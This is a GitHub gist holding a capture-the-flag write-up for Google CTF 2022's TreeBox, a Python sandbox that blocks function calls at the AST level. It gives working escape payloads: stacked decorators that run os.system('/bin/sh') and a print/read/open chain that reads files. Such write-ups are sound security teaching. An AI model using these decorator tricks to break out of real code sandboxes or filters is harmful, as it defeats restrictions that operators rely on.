Skip to content

Instantly share code, notes, and snippets.

@radl97
Last active Jul 18, 2022
Embed
What would you like to do?
Google CTF 2022 Write-up: TreeBox

The challenge filters some methods AST-level: the most pressing was calling a method. Importing was not needed.

It was surprisingly constraining, but the basic idea was to create something that is a function call, but it (basically) does not use parentheses on the source code-level.

Try print(open('flag').read()) or os.system('/bin/sh')...

Idea 1: os is already imported! And only os.system() call needs to be circumvented. (I've checked this.)

Idea 2: Decorators use many functions, and these are called under the hood!

For why it occured to me, see a real-world use, like in Flask-Login: lots of functions, and basically no function calls:

def fresh_login_required(func):
    # etc...
    def decorated_view(*args, **kwargs):
        if ...:
            return current_app.login_manager.unauthorized()
        return func(*args, **kwargs)

    return decorated_view

First try:

@wrapper
def wrapped():
  pass

This calls wrapper(wrapped), and leaves that in the place of the original function. This can be used to call something with a single argument.

Hmm, os.system has one argument!

Decorate a variable?

@os.system
'/bin/sh'

--END
/usr/lib/python3/dist-packages/requests/__init__.py:89: RequestsDependencyWarning: urllib3 (1.26.9) or chardet (3.0.4) doesn't match a supported version!
  warnings.warn("urllib3 ({}) or chardet ({}) doesn't match a supported "
Traceback (most recent call last):
  File "treebox.py", line 32, in <module>
    tree = compile(source_code, "input.py", 'exec', flags=ast.PyCF_ONLY_AST)
  File "input.py", line 2
    '/bin/sh'
    ^
SyntaxError: invalid syntax

I can only decorate a function.

Oooor... a decorator!

def fake_wrapper(f):
  return '/bin/sh'

@os.system
@fake_wrapper
def something():
  pass

--END

This was my original solution. CTF{CzeresniaTopolaForsycja}

Bonus solution

When creating this write-up, I have found an other solution.

The basic idea was to use directly open the flag file and print it, so it works non-interactively.

print(open('flag').read())
  1. open a file
  2. read from it
  3. print it

This reminds me of a ROP-chain. Anyway...

All single parameter functions! However, .read is a method, and it is not accessible outside of a class. All I had to do was find an already open file, accessible from os:

def fake_wrapper1(f):
  return 'treebox.py'

@print
@os.sys.stdin.__class__.read
@open
@fake_wrapper1
def something():
  pass

--END
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment